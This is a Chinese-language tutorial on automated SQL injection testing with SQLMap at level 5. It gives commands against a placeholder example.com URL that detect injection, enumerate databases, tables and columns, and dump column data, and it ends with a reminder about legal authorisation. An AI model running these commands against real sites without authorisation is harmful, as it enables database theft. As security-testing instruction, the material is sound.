SQLMap 是一款强大的自动化 SQL 注入工具,--level
参数用于设置测试的等级,取值范围为 1 - 5,等级越高,测试越全面,包含的测试参数和场景也越多。以下是利用 SQLMap 完成自动化注入测试(--level 5
)的详细步骤:
1. 安装 SQLMap
如果你使用的是 Linux 系统,可以通过以下命令进行安装:
sudo apt-get update
sudo apt-get install sqlmap
如果你使用的是其他系统,可以从 SQLMap 的 GitHub 仓库 下载源代码并运行。
2. 准备目标 URL
确定要测试的目标 URL,例如一个包含参数的搜索页面:http://example.com/search.php?id=1
。
3. 执行 SQLMap 测试
在命令行中执行以下命令进行自动化注入测试:
sqlmap -u "http://example.com/search.php?id=1" --level 5
-u
参数用于指定目标 URL。--level 5
表示设置测试等级为 5,进行更全面的测试。
4. 选择注入点和数据库类型(可选)
如果 SQLMap 检测到多个可能的注入点,它会提示你选择要测试的注入点。同时,你也可以通过 --dbms
参数指定要测试的数据库类型,例如:
sqlmap -u "http://example.com/search.php?id=1" --level 5 --dbms=mysql
这将指定测试的数据库类型为 MySQL。
5. 进行其他操作(可选)
- 获取数据库信息:可以使用
--dbs
参数获取目标数据库中的所有数据库名:
sqlmap -u "http://example.com/search.php?id=1" --level 5 --dbs
- 获取指定数据库中的表名:使用
--tables
参数并指定数据库名:
sqlmap -u "http://example.com/search.php?id=1" --level 5 -D target_database --tables
其中 -D
参数用于指定数据库名。
- 获取指定表中的列名:使用
--columns
参数并指定数据库名和表名:
sqlmap -u "http://example.com/search.php?id=1" --level 5 -D target_database -T target_table --columns
其中 -T
参数用于指定表名。
- 获取指定列中的数据:使用
--dump
参数并指定数据库名、表名和列名:
sqlmap -u "http://example.com/search.php?id=1" --level 5 -D target_database -T target_table -C column1,column2 --dump
其中 -C
参数用于指定列名,多个列名用逗号分隔。
注意事项
- 合法使用:确保你进行的测试是在合法的授权范围内进行的,未经授权对他人的系统进行测试是违法的行为。
- 测试环境:建议在测试环境中进行测试,避免对生产环境造成影响